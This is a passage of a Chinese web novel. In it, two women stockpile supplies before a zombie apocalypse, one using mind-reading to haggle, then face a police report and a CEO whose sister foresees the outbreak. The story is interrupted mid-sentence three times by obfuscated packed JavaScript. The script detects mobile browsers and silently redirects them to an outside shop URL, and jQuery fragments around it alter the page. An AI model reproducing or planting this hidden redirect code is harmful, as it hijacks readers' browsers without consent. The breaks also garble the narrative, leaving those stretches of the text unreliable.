超市、批发市场、二手交易平台……按照温枝记忆中那些“末世后成为硬通货”的东西清单,一点点买回来。水、压缩饼干、罐头、药品、净水器、手电筒、电池、急救包、防寒毯。 比如此刻。 林知晓站在批发市场的摊位前,看着那一箱箱压缩饼干。 军用规格,四百克一包,保质期三年。温枝说上辈子这种东西到第三年还能换东西。她算了一下,如果能把价格压到十八块以下,这些钱能多买两箱。 “姑娘要多少?”老板从手机里抬起头。 “先看看。”她说。 老板点点头,又低头看手机。 林知晓盯着那箱饼干,忽然意识到一件事:她需要知道老板的底价。 念头一冒出来,她就僵住了。 上次去敲邻居的门,她可以告诉自己:我不是偷窥,只是在判断,判断这个人值不值得信任。那是为了她们的安全,甚至可以说是为了国家。 但这次呢? 这次是为了省钱。是为了多买两箱饼干。是为了在末世里多活几天。 没有冠冕堂皇的理由。没有可以骗自己的借口。 她站在那儿,手攥着卫衣口袋,没动。 老板又抬起头:“姑娘你到底买不买?” “买。”她说,“但价格得合适。” “我这已经是最低价了,二十块一包,你去别家问问,都这个价。” 林知晓看着他。 二十块。超出预算两块。如果买二十箱,就多出八百块。八百块能买多少东西?够换一箱水?够换一包药? 她忽然想起温枝说的那句话:上辈子末世第三年,一包压缩饼干能换一个人情。 她深吸一口气,往前走了一步。 “老板,我能看看货吗?” 老板把手机放下,站起来,从箱子里抽出一包扔给她。 林知晓接住。她的手碰到包装袋的同时,另一只手伸出去——像是要仔细看那包饼干——她的手背碰到了老板的手腕。 一秒钟。 声音涌进来。 「这小姑娘看起来不像是做批发的……该不会是来踩点的吧……算了管她呢,反正这批货快过期了,能出多少是多少……底价十五,再低就赚不了什么了……」 林知晓松开手,退后一步。 她低下头,假装在看那包饼干的保质期。心脏跳得很快,快到她担心老板能听见。 她刚才做了什么? 二十三年来,她最想摆脱又最放不下、让她成为异类的东西——她刚才又主动用了。 而且用得很自然。 “怎么样?”老板问,“货没问题吧?” 林知晓抬起头。 老板看着她,等着她回答。 她张了张嘴,发现自己的声音有些哑。 “十五。”她说。 老板愣了一下。 “十五一包,我拿二十箱。” 老板张了张嘴,似乎有些惊愕,想说什么,但没说出来。 林知晓看着他,等着。她能听到自己心跳的声音,但她脸上什么也没表现出来。 过了几秒,老板咬咬牙,应下了。 “行吧。”他说,“十五就十五。” 林知晓点点头,从口袋里掏出钱。 她数钱的时候,手有点抖。但老板没注意到。 温枝从隔壁摊走过来,看见她在数钱,愣了一下。 “成了?” “嗯。” “多少?” “十五。” 温枝眼睛亮了一下:“你怎么做到的?” 林知晓把钱递给老板,没回答。 她不知道怎么回答。但她知道,从今以后,每次温枝问她“怎么做到的”,她都得想一个新的借口。 或者,她可以一直不回答。 “走吧。”她说,“下一个。” 6. 不速之客 那些物资被分批运进防空洞。 第一次来的时候是空的。第二次来的时候,角落里多了几箱水。第三次来的时候,压缩饼干摞成了一堵矮墙。第四次来的时候,她们在角落里放了折叠床和应急灯。 每次从防空洞出来,站在阳光下,林知晓都会有一瞬间的恍惚。 这个世界还这么正常。阳光还这么暖和。路上的人还在讨论午饭吃什么、周末去哪玩。 而她们在地下囤着够活至少一年的东西。 距离末世还有四十九天。 --- 又一天。 “就是这里吧?”林知晓把车停在了一条老旧的工业区路口,扭头向副驾驶的温枝询问。 “和记忆里有点不一样,但位置应该没错的。”温枝谨慎答到。 “不管怎样,先去看看吧。” 前面是一扇生锈的铁门,铁门后面是几排灰扑扑的厂房。门口挂着一个牌子,厂名已经褪色了,但还能辨认——就是那家。 温枝站在门口,没动。 林知晓等了两秒,侧过头看她。 她的脸没什么表情,但眼睛不一样。那双眼睛看着那扇门,看的好像不是门,是别的什么东西。 “怎么了?” 她没回答。站在原地,忽然想起一些事。 上辈子她路过这里的时候,是末世的第三年。那时候她已经不记得自己饿了多久,只记得胃里像塞了一块石头,又冷又硬。她沿着这条路往城外走,因为听说郊区有避难所。 然后她看到了这家工厂。 门被砸开了,厂房里空荡荡的,地上全是踩烂的纸箱和被人翻过之后扔掉的包装袋。有人还在里面翻,疯了似的扒拉着那些已经被搜刮过无数遍的角落。 她走进去,在角落里捡到一包被人踩破的压缩饼干。饼干已经碎了,混着地上的灰,但她还是蹲下来,把能捡的碎渣一粒一粒捡起来,塞进嘴里。 那时候她就在想:如果早点知道这里有东西,如果能在末世刚开始的时候就来这里…… 她没往下想。因为想也没用。 “温枝。” 林知晓的声音把她拉回来。 温枝眨了眨眼,发现自己还站在阳光下。阳光很暖,铁门还关着,厂房还在,里面堆满了还没被人动过的纸箱。 她深吸一口气。 “走吧。”她说,推开门。 厂房里比外面看着还要破。 地上全是灰,墙角堆着一些锈蚀的机器,屋顶有几处漏了,光从破洞里斜着照进来,能看见灰尘在光柱里飘。 林知晓走进去,鞋底踩在碎玻璃上,咯吱响。 “东西在哪儿?” “最里面。”温枝跟在她身后,“老板说全在后仓。” 她们穿过厂房,推开一扇吱呀作响的铁门,眼前是一个更大的空间。码得整整齐齐的纸箱,从地上摞到天花板。帐篷、睡袋、登山绳、净水器、户外炉具——全是崭新的,包装都没拆。 林知晓站在门口,看着那堆东西。 “这么多……” “嗯。”温枝走到最近的一堆纸箱前,伸手摸了摸,“上辈子被人哄抢的时候,我路过,只捡到一包被人踩破的饼干。” 她顿了顿。 “这次,这些都是我们的。” 林知晓看着她。温枝站在那堆纸箱前面,夕阳从高处的窗户照进来,落在她身上。她的脸还是那张普通的脸,眼睛还是那双沉得过分的眼睛,但这一刻,她看起来有点不一样。 “对。”林知晓说,“都是我们的。” …… 老板是个四十多岁的中年男人,头发已经白了很多,眼睛下面两团青黑,一看就是好几天没睡好。 “就这些?”他站在仓库门口,看着林知晓和温枝。 “就这些。”温枝说,“您开个价。” 老板报了个数。 温枝看了林知晓一眼。 林知晓往前走了一步,说:“能带我们进去看看吗?” 老板点点头,带她往里面走。 仓库很深,码得整整齐齐的纸箱从地上摞到天花板。帐篷、睡袋、登山绳、净水器——全是崭新的,包装都没拆。 走到一半,她忽然停下来。 她蹲下来,假装看那排纸箱,一只手搭在货上,另一只手不经意间擦过老板的衣袖。 一秒钟。 她神色如常地收回手,开口道: “这批货的批号怎么不一样?” 老板回过头。 林知晓蹲下来,指着纸箱侧面的一行数字:“这两个箱子的批号差了三个月。” 老板走过来,低头看了看,没说话。 林知晓站起来,拍了拍手上的灰。 “您这批货不是一批进的吧?”她问,“前面这批是半年前的,后面那批是最近两个月的?” 老板的脸色变了一瞬。 林知晓看着他,没继续问。 她往前走,走到另一堆纸箱前面,伸手摸了摸。帐篷的布料,手感不一样。她翻开一角,看了看标签。 “这个牌子,”她说,“和门口那批也不是同一个厂吧?” 老板站在她身后,没动。 林知晓转过身,看着他。 “您这仓库里,至少有三批不同时间、不同渠道进来的货。”她说,“但您刚才报的是一个价。” 老板张了张嘴,想说什么,但没说出来。 过了几秒,他才尴尬地搓了搓衣角。 “小姑娘眼挺尖。”他说。 “不是眼尖。”林知晓说,“我开网店的,这些见得多了。” 她说这话的时候连眼睛都没眨一下。 温枝站在后面,差点没忍住笑。 而老板看着林知晓,眼神有点复杂。 “那你说,这价怎么算?” “分开算。”她想了想才说,“半年前那批,按您报的价,但得打个折。最近那批,我可以按原价拿。” 老板愣了一下。 “那批半年前的货,保质期还长着呢——” “但款式旧了。”林知晓打断他,“您自己也知道,户外用品这东西,每年都有新款。半年前的款,现在网上已经降了两成了。” 老板没说话。 林知晓看着他,忽然问:“您这批货,是不是也是从别人手里接的?” 老板的眼神闪了一下。 林知晓知道她猜对了。 她没继续追问,只是说:“您接的时候是什么价,我不知道。但您现在要出手,就得按现在的行情来。” 老板沉默了很久。 林知晓也不催。她就站在那儿,等着。 仓库里很安静。阳光从高处的窗户照进来,落在那些码得整整齐齐的纸箱上。 “行。”老板终于开口,“就按你说的,分开算。” 林知晓点点头。 “那批半年前的,您给多少?” 林知晓报了个数,正好压着老板的心理底价。 老板皱了皱眉,但没反驳。他又看了看林知晓,像是在重新打量她。 “你以前干过这行?” “没有。”林知晓笑眯眯地说,“但我会算账。” 老板笑了一下,有点无奈。 “年轻有为啊,行吧。”他说,“就按你说的。” --- 她们雇了两辆货车,连夜把东西往防空洞运。 雇的货车司机把另一辆开走后,温枝盯着林知晓手上转着的钥匙串,嘴巴张了又闭,闭了又张。 “……你会开货车?”不用再叫个师傅吗? 林知晓转钥匙串的手卡顿了一下,有些不好意思地挠挠头,回道:“哈哈,略懂,略懂。” 其实全职写作之前,她体验过很多职业,包括货车司机。 温枝:…… 第一趟跑完的时候,天已经全黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323997|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。温枝坐在驾驶室里,看着后视镜里那排越来越远的厂房,忽然开口。 “林知晓。” 林知晓正在看手机地图,闻言抬头:“嗯?” 林知晓侧过脸看她。温枝的脸被车窗透进来的光照着,一半亮,一半暗。 “末世第三年。”温枝的声音没什么情绪,像在说别人的事,“我躲过那个厂房。那天晚上死了三个人——不是丧尸,是人。第二天早上我从机器后面出来,把死人衣服扒了,穿在自己身上。其中一个人的口袋里,有半块压缩饼干。” 她抬手指了指身后那扇几乎变成一个小点的工厂大门。 温枝低下头,“我蹲在那儿,把那半块饼干吃了。一边吃一边哭,因为我知道,再过几天,我也会变成那样的人。” 她说完了。 车里很安静。风从车窗缝里钻进来,带着一股草木和泥土的气息。很平常的傍晚气息。 林知晓看着她。 温枝没哭。只是坐在那儿,看着那扇门。 “你变成那样的人了吗?”林知晓问。 温枝摇了摇头。 “没有。”她说,“我死的时候,还是原来的我。” 她低头抠抠自己的手指,微微笑着。 “吃那半块饼干的时候,我还在想,如果还有下辈子,我一定要在末世来之前,把所有能囤的东西都囤起来。” 林知晓看着她。 温枝抬头,对上她的目光。 “结果真有下辈子。”温枝说,“所以我现在在这儿。” 林知晓沉默了几秒。 “那你现在想什么?” “在想——”她说,“如果上辈子有人能陪我一起蹲在那个机器后面,我可能不会那么怕。” 车里安静了一会儿。 然后林知晓把手机放下,直视着道路前方。 “现在有了。”她说。 温枝愣了一下。 林知晓没看她,只是盯着前方的路。 “现在有人陪你蹲在机器后面了。”她说,“走吧,回家了。” 货车在夜色里行驶着,。 后视镜里,那排厂房越来越远,最后消失在黑暗里。 车外景色快速后退的间隙里,林知晓突然开口: “那半块饼干是什么牌子的?” “不知道,我拿到的时候包装已经烂了。”温枝没懂她的意思,愣愣答道。 “那今天买的那些,”林知晓说,“你多吃一包。” 温枝看着她,忽然笑了一下。 “你这是在安慰我?” “不是。”林知晓的嘴角扬了扬,“是在算账。上辈子欠你的,这辈子补上。” --- 接下来几天,她们一直在往防空洞运东西。 工厂那批货分了五趟才运完。然后是之前囤的压缩饼干和水,然后是药品和保暖物资,然后是各种能想到的、可能用得上的东西。 说起来简单做起来难,她们只有两个人,太多东西需要他们亲自去确认,去实施。 为表感谢,再次碰到邻居、再次被问起时,她们虽然没有再透露更多,但也旁敲侧击提醒他多囤一点物资。 至于信不信,那就是他的事情了,说太多反而使人生疑。 防空洞从空荡荡变成了满满当当。角落里摞着成箱的水,靠墙的地方码着压缩饼干墙,帐篷和睡袋堆成一座小山,应急灯和手电筒挂在墙上的钉子上,随时可以取用。 温枝每次进去都会在里面多待一会儿。林知晓知道她在看什么——她在确认这些东西真的存在,不是梦。 距离末世还有四十二天。 --- 那天傍晚,林知晓刚从防空洞回来,手机响了。 陌生号码。 她接起来。 “请问是林知晓女士吗?” “是。” “您好,我是城东派出所的,有件事想跟您核实一下。” 7. 危机 林知晓心里咯噔一下。 “您最近是不是在大量采购物资?” 电话那头的声音很客气,但林知晓听得出来——不是询问,是确认。 她沉默了两秒。 “我是开网店的,囤货正常。” “我们知道。”对方说,“但有人举报你们囤积居奇,疑似有违法行为。我们需要上门核实一下。” 林知晓握着手机的手紧了一下。 “什么时候?” “明天上午。方便吗?” “……方便。” 挂了电话,她站在客厅里,盯着手机看了很久。 举报。 谁举报? 不可否认的是,她第一个怀疑的对象是她的邻居。毕竟他知道的最多,而她们也没对他有太多隐瞒。 但很快她就否定了自己的怀疑。先不说她之前已经通过能力试探出邻居是个相对值得信赖的人,哪怕没有试探过,在知道她们暗中进行着某些事情后,不论出于那种目的,也不至于到现在才动手,甚至还是用举报这种手段。 林知晓把这个念头压下去,给温枝发了条微信:有人举报我们。明天派出所上门。 温枝秒回:谁? 林知晓:不知道。明天再说。 她放下手机,走到窗边。对面邻居家的灯亮着,窗帘拉了一半,能看见人影晃动。那个男人正在屋里走动,步态平稳。 林知晓知道不是他,但免不了怀疑。 她叹口气,本来想给温枝打个电话,一看已经十一点了,便收拾收拾上床睡觉。 …… 第二天上午九点,门铃响了。 林知晓打开门,门外站着两个穿制服的人。 她定睛一看,还是熟人。是上回她举报时见到的那两位,一个三十出头,一个更年轻些。 “林知晓女士?” 她有点尴尬,手背在身后把衣服拧成了麻花,“呃…对,警察同志,又见面了。” “打扰了。”年长的那个挑了挑眉,出示了证件,“我们接到举报,需要了解一下情况。” 林知晓侧身让他们进来。 温枝坐在沙发上,看见制服进来,脸色变了一瞬,但很快恢复正常。她今天早上六点就过来了,和林知晓把所有能想到的问题都预演了一遍。 “这就是你合伙人温枝林知晓?”年长的问。 “是。” 两个人在沙发上坐下。年长的拿出笔记本,年轻的环顾四周——客厅里很干净,什么都没有。那些囤货早就运到防空洞了,家里只剩日常用品。 “举报人说你们大量采购物资,疑似囤积居奇。”年长的说,“能解释一下吗?” 温枝看向林知晓——手还绞在身后。 于是她主动开口:“我们是开网店的,卖户外用品。囤货很正常。” “网店叫什么?” 温枝报了名字。 年轻的拿出手机查了一下,向身边的人点了点头:“确实有,开了快一个月了,有交易记录。” 年长颔首回应,但没合上笔记本。 “举报人还说,”他盯着林知晓的眼睛,“你们最近频繁出入郊区某处,怀疑在进行非法活动。” 林知晓的心跳漏了一拍。 防空洞。有人盯上她们了。 “那是我们租的仓库。”她说,“囤货用的。” “能带我们去看看吗?” 林知晓和温枝对视了一眼。 温枝轻轻点了点头。 “可以。”林知晓说。 而与此同时的另一边—— 身着高定西装的男人坐在办公椅上,用手支着脑袋,盯着对面的人——如果林知晓在这里,她会认出来,这是前两天和她们交易的工厂老板。 “先生,您找我也没用啊。她们确实来我这把东西买走了,但我真的不知道更多的了啊。……您、您说的那位长头发的瘦小姑娘没怎么说话,反而是她身边那个短头发的姑娘……有点奇怪。” 鬓角斑白中年男人无措地看着对面的男人,如果林知晓在这里,就会发现,这个中年男人正是前两天和她们交易的工厂老板。 “奇怪?” “对,她好像、知道我的心理底价似的,正好压着底价买走的。” “呵呵,我说她最近怎么没和以前一样像个哈巴狗一样贴过来,原来是被……带坏了啊。”男人笑着,分不清是微笑还是恶意。 --- 去往防空洞的路上,林知晓心中天人交战,冷汗涔涔。 是谁?到底是谁? 一路上她都没有再开口,保持面部肌肉的正常状态已经耗尽读心这么多年来积累的全部演技。 她深呼吸,自嘲没想到都要末世了居然还来体验了一回坐帽子叔叔的专车。 林知晓瞟了眼坐在旁边的温枝,发现她的状态也不太妙。 手指紧紧攥着衣角,用力到指节泛白。 看上去几乎要喘不过气来。 林知晓有些担心,伸出手碰了碰她紧攥的手指。 温枝的心声接踵而至。 「如果他们问的问题我们答不上来怎么办?准备的一切会不会都功亏一篑?重来一次,难道结局依然只能做到这样吗?」 「我怎么那么没用……」 她痛苦着,心说自己应该再小心一点、再隐蔽一点,不然就不会… 等等。 她突然间想到某个可能。 「林知晓基本没怎么对外交流,更别说有什么仇人,而我就不一样了,我还有两段没剪断的关系——付成瑾和江黎黎。」 「是他么?是他们么?如果不是,那还能是谁?如果是……我们什么时候开始被注意到的?对方又知道了多少?」 林知晓愣住了,她本意是想安慰一下温枝,没想到还能听到这些推理。 碎片般的言语向她齐齐涌来,但林知晓敏锐捕捉到了某些关键信息。 付成瑾和江黎黎?是她之前说过的未婚夫和朋友吗? 林知晓的面色凝重起来。 不得不说,温枝的怀疑有很大可能是真的。 她感到一种被毒蛇盯上的不适感。 此前,付成瑾和江黎黎在她心里更像一个背景板、一个符号,因为她仅在温枝的只言片语中听说过那个故事,太戏剧,也太狗血了。 而现在,她切切实实感受到,有这么两个人存在。 警车在路上平稳地开着。 林知晓靠在椅背上,眼睛盯着窗外飞速后退的街景,脑子里却在飞速运转。 付成瑾。江黎黎。 这两个名字像两根刺,扎在她脑子里。如果真是他们,那举报的目的绝不是让她们被抓——这种程度的囤货,顶多算个违规,够不上犯罪。他们是想逼温枝露面,或者……逼她们露出更多破绽。 她侧过脸看了温枝一眼。温枝低着头,手指紧紧攥着衣角。 林知晓想说什么,但前面坐着两个警察,她只能把话咽回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323998|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 就在这时,开车的年轻警察忽然开口:“王哥,后面那辆黑色轿车是不是跟着咱们?” 王警官透过后视镜看了一眼,眉头微微皱起。 “从那个路口就开始跟了。”年轻警察说,“我拐了两个弯,他还跟着。” 林知晓的心猛地提起来。她回头看了一眼——一辆黑色轿车,隔着三四辆车,不紧不慢地跟着。车窗贴了深色膜,看不清里面。 “别慌。”王警官说,“前面红绿灯,我数三下,你右转。” 绿灯亮起。 “一、二、三——转!” 年轻警察猛打方向盘,警车几乎贴着旁边一辆车的车头拐进右边的小路。轮胎发出刺耳的摩擦声,林知晓的身体猛地甩向一边,肩膀撞在车门上。 她顾不上疼,死死盯着后视镜。 黑色轿车没有跟过来。它被直行的车流挡住了,只能眼睁睁看着警车消失在巷子里。 “甩掉了。”年轻警察松了口气。 王警官没说话,意味不明地瞟了她们一眼,然后盯着后视镜看了很久。 林知晓的心跳还没平复。谁在跟踪?付成瑾的人?还是别的什么人? …… 车开得不慢,没一会儿便停在一栋老式居民楼前面。 林知晓带他们绕到楼后,推开那扇不起眼的铁门,露出通往地下的楼梯。王警官看了一眼,没说话,跟着她们走下去。 防空洞里很暗,林知晓打开应急灯。光照亮了一地的东西——成箱的水、成堆的压缩饼干、帐篷、睡袋、药品、工具、应急灯、手电筒、电池、防寒毯。角落里甚至放着两张折叠床,上面铺着睡袋。 王警官站在入口处,看着那堆东西,沉默了很久。 年轻的警察吹了声口哨:“好家伙,这是要打仗啊?” “小李,少说两句。”王警官说着就往年轻警官的后脑勺来了一下。 林知晓没接话,温枝也异常沉默。 王警官走进去,在一箱压缩饼干前面蹲下来,看了看生产日期。又站起来,走到药品区,随手拿起一盒消炎药看了看。 然后他转过身,看着林知晓。 “你们到底在准备什么?” 林知晓看着他。 她可以编借口。可以说网店生意好。可以说未雨绸缪。可以说—— 但她忽然不想说了。 “王警官,”她说,“您相信有人能预知未来吗?” 被知道也好,被当成疯子也罢,她们首要任务是——保下这批物资。 好吧,上回举报人家城东研究所有问题,这回自己在防空洞屯物资……她应该早就没什么正常人的形象了。 她看得出来,两位警官都不是坏人。如果能借此引起官方的注意……求之不得。 王警官盯着她,没说话。 “我们在为即将到来的末世做准备。”林知晓说。 王警官沉默了几秒。 “末世?”李警官忍不住开口,“你开什么玩笑?” 林知晓没理他,只是看着王警官。 王警官看了她很久,然后叹了口气。 “姑娘,”他说,“我干了二十年警察,什么怪事都见过。有人跟我说他能看见鬼,有人跟我说他被外星人绑架过,还有人跟我说他是玉皇大帝转世。” 林知晓没说话。 王警官又看了看那堆物资,摇了摇头。 “走吧,先回所里。”他说,“有些事得做笔录。” 8. 合作 派出所不大,一间办公室,两张办公桌,墙上挂着锦旗。 王警官带着他们走进来时,林知晓的脚步有些快,在门口绊了一跤,被他扶了一把。 “啊,谢谢。” 他看了她一眼,没回应,只是让她们在椅子上坐下,自己坐到办公桌后面,翻开笔记本。 “姓名,年龄,职业。”他抬起头,“从头说,你们囤那些东西,到底想干什么?” 林知晓看着他。 这个警察姓王,刚才在车上他话不多,但做事果断。四五十岁,眼睛很毒,一看就是干了二十年的老警察。他可能不相信什么末世论,但他一定见过很多奇怪的人、奇怪的事。 温枝刚要开口,林知晓在桌下轻轻碰了碰她的手。 温枝立刻闭嘴。 林知晓深吸一口气,开口:“王警官,我能先问您一个问题吗?” 王警官挑了挑眉:“你问。” “那个举报的人,”林知晓说,“他是实名举报吗?” 王警官沉默了两秒。 “是。”他说,“付成瑾,男,二十八岁,自称是温枝的未婚夫。” 林知晓点点头。她看了温枝一眼——温枝的脸色又白了一分,但没说话。 “我能看看他的举报内容吗?”林知晓问。 王警官盯着她看了几秒,然后从抽屉里抽出一张纸,推过来。 林知晓接过,快速扫了一遍。举报信写得很详细:她们在哪些地方采购过物资,大概买了多少,租了哪个仓库,甚至提到了防空洞的大概位置。 她的后背渗出冷汗。 付成瑾知道这么多,说明他调查她们不是一天两天了。他可能一直在暗处看着,看着她们忙忙碌碌,看着她们把东西一箱箱搬进防空洞。 他为什么不早举报?为什么偏偏选在这个时候? “看完了?”王警官问。 林知晓把纸推回去。 “王警官,”她说,“您信不信,有些人能预知未来?” 王警官愣了一下,然后笑了。不是嘲笑,是一种“果然如此”的笑。 “姑娘,这种话我听过很多次。”他说,“跟我说他能看见鬼、被外星人绑架、玉皇大帝转世的那些人,你猜我怎么处理的?” 林知晓没说话。 “我让他们去医院看看。”王警官说,“精神科。” 温枝忍不住开口:“但我们说的是真的——” “温枝。”林知晓拍了拍她的肩膀,以示安抚。 温枝没继续说下去。 林知晓看着王警官,忽然说:“王警官,您右腿是不是受过伤?下雨天会疼?” 王警官的脸色变了一瞬。 “年轻的时候办案过程中摔的。”他说,“你怎么知道?” “猜的。”林知晓说,“您坐的时候,总是把右腿往前伸一点,不压着椅子腿。” 王警官盯着她看了几秒,没说话。 林知晓继续说:“您女儿是三中的吧?办公桌玻璃板下面压着她的照片,穿的是三中的校服。” 王警官的表情慢慢变了。 “您爱人最近跟您吵架了,”林知晓说,“因为您连续加班三天没回家。您今天穿的这件衬衫,扣子扣错了一颗——以前都是她帮您整理的。” 办公室里安静得能听见墙上挂钟的滴答声。 李警官张了张嘴,看看林知晓,又看看王警官,不知道该说什么。 林知晓抿了抿唇,意识到自己说的可能说的有点多了。但木已成舟,她只能硬着头皮迎上他的目光。 过了很久,王警官开口:“你到底想说什么?” 林知晓看着他。 “我想说,”她一字一顿,“我知道很多事。有些是观察出来的,有些……是通过别的方式知道的。如果你愿意相信,我希望你也能做点什么。但现在,我只想请您相信一件事:我们囤那些东西,不是为了赚钱,也没有违反法律,只是因为想活命。这有问题吗?” 她顿了顿。 “还有四十一天,您就知道我说的是真是假了。” 王警官沉默着。 就在这时,门外传来敲门声。 李警官走过去打开门,门外站着一个年轻男人。 二十五六岁的样子,穿着深灰色西装,没打领带,头发梳得很整齐。气质温和,长相干净,嘴边挂着微笑,看起来十分好相处。“打扰了。”站在门口的年轻男人说,“我来找两个人。” 李警官盯着他,主动问:“你找谁?” 男人目光越过他,落在林知晓和温枝身上。 “警官同志,您好。”他说,“我是边止礼,边氏集团的CEO。这两位女士和我司有合作,我来处理一点误会。” 王警官的眉头微微蹙起,站起来问:“什么合作?” 边止礼走进来,从口袋里掏出一张名片,递到王警官面前。 “城东生物研究所是我们集团旗下的产业。”他说,“这两位女士之前举报过研究所的安全问题,我们非常感谢。今天听说她们被请来喝茶,特地过来看看有没有能帮忙的地方。” 王警官接过名片,看了看,又抬头看他。 “你知道她们囤货的事?” “知道。”边止礼说,“她们囤的那些东西,有一部分是我们提供的。我们集团最近在做防灾物资储备,她们帮忙测试产品性能。” 他说这话的时候,脸上带着恰到好处的微笑,语气自然得像是真的。 林知晓和温枝对视一眼。 现在什么情况? 边止礼?边氏集团?城东实验室是他们家的? 她们可从来没跟什么边氏集团有过任何合作。 在这种情况下,知道她们把自家研究所给举报了居然不仅不落井下石,还专程跑来感谢? 他在撒谎。 但目前来看,他也在帮她们。 所以两人知趣地没插嘴。 王警官沉默了几秒,把名片放下。 “边先生,”他说,“你来的正好。这两个姑娘囤了一防空洞的东西,说是末世要来了。你这个‘合作方’,能不能解释一下?” 边止礼笑了笑。 “王警官,如果我说,有人预见到了一些事情,在为此做准备,您信吗?” 话术居然和身后的两个姑娘如出一辙? 王警官看了他一眼。然后又出门,拿起手机拨了个电话,低声说了什么。 电话那头的人说了什么,他听了几句,眉头皱了皱,最后说了句“知道了”,挂了电话。 挂完电话后,他再次走到边止礼面前。 “我不信。”他说,“但我也管不了了。” 他坐回椅子上,挥了挥手,没有看他们。 “走吧走吧。但丑话说在前头——我不管你们在搞什么,都别犯法。要是出了什么事,我还会找你们喝茶的。” 林知晓站起来,拉着温枝往外走。经过边止礼身边的时候,她侧过脸看了他一眼。 他也在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323999|199118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 准确来说,他在看她的表情、她们的表情。 “走吧?林女士、温女士。”他笑着做了个“请”的手势。 他们一行人走出警局,天已经黑了。 街上的路灯已经亮起来了,但来往的行人并不多。 一辆银色的轿车停在路边,车旁站着一个身着黑色西装的年轻人,看见边止礼走出来,朝他微微点头。 “上车吧,我们找个地方聊聊?相信你们应该也有许多疑问。”边止礼用了询问的语气。 林知晓和温枝对视一眼,两个人都没动。 温枝环顾一圈,然后指了指不远处的一家咖啡厅。 “去那里聊。” 边止礼一愣,大概是没被拒绝过,好一会儿才反应过来。 他摊摊手,说:“好吧,女士优先。” …… 三人走进咖啡厅,找了个僻静的位置坐下。 服务生走过来,边止礼点了杯冰美式,林知晓和温枝只要了两杯热水。 边止礼靠在椅背上,打量着对面两人。林知晓注意到,他的目光停留在温枝身上的时间更长。不是那种令人不适的打量,更像是一种……审视。 “抱歉,刚才在警察局里说的那些,说你们帮我们测试产品,是临时编的借口。我得有个理由把你们捞出来。”他率先开口。 “边先生,”林知晓面露警惕道,“那您为什么帮我们?” 边止礼笑了笑,与刚才在警察局时温柔无害的笑容一般无二。 “林女士很直接,”他保持着那种养眼的笑容,“那我也不讲那些弯弯绕绕了,直说吧,我确实没和你们有合作,但不代表以后一定没有——当然,关键在你们的意愿。我需要你们,所以…谈个合作,怎么样?” “需要我们?到底是什么合作?”林知晓的眉头皱得更深了。 “准确来说,”边止礼看向温枝,“是需要温女士的帮助。” “我?”温枝拿手指了指自己,有些吃惊。 林知晓放在桌下的手扯了扯她的衣角,示意她小心。 温枝会意,脸上没什么表情地问:“为什么是我?” 边止礼沉默了一瞬,然后从口袋里掏出了一张照片,轻轻推过来。 照片上是一个女孩,看起来年纪不大,刚成年的样子,长相清秀,齐肩短发,笑容很甜。 “你女朋友?”林知晓下意识问道。 边止礼的微笑僵了一下,勉强说:“……这是我妹妹。” 像是怕林知晓再说出什么惊人的话,他紧接着补充道:“我妹妹,边知予。三个月前,她就开始做同一个怪梦。” “梦里整个城市都沦陷了,到处都是咬人的怪物,到处都是死人。她醒来之后还能说出很多细节,比如病毒从哪里开始爆发、哪些地方是安全区,她甚至能画出路线图。” 讲到这里,边止礼的脸色又凝重了几分,“她不喜欢外出,以前纯粹是路痴,有些地方她根本没去过,却能准确描述出来。” “我们一开始只是觉得她压力太大了,带她看心理医生。但是没用。她叫我们赶紧屯物资——水、食物、药品、防身的工具……她说不准备就来不及了。”边止礼顿了顿,继续说,“我们当然不信。父亲觉得她疯了,把她关在家里,不让她出去……我们家里是做生物科技的,城东研究所也是我们的产业之一。” 他喝了一口咖啡,似乎是为了缓解某些情绪,“然后,两天前,城东研究所附近,出现了第一例感染者。” 9. 预知者 听罢,林知晓和温枝的呼吸俱是一滞。 这么早?! “不是实验室泄露?”温枝连忙问。 “不是,”边止礼抬起头,“感染者是附近城中村的一个六十多岁的老太太,没有接触过实验室的任何东西。当时刚好出门遛弯走到研究所附近,突然晕倒,随后出现了身体滚烫、类似于发烧的状况——但比那严重得多——被附近的工作人员注意到了。” “人命关天,工作人员就先把人送到了我们家的私人医院。老人一直没有醒,也没有亲人,就一直躺在病床上,维持着基本的生命体征。妹妹听到这件事,大吵大闹说一定要去看看,说这就是初期病毒爆发的征兆。” 他深吸一口气,才继续说下去:“就在我来找你们之前,老人已经出现了轻微变异。” 林知晓脑袋嗡嗡的,她看向温枝,温枝的脸已经白了。 “你妹妹…”温枝的声音有些颤抖,“你妹妹怎么知道这些的?” 边止礼看着她。 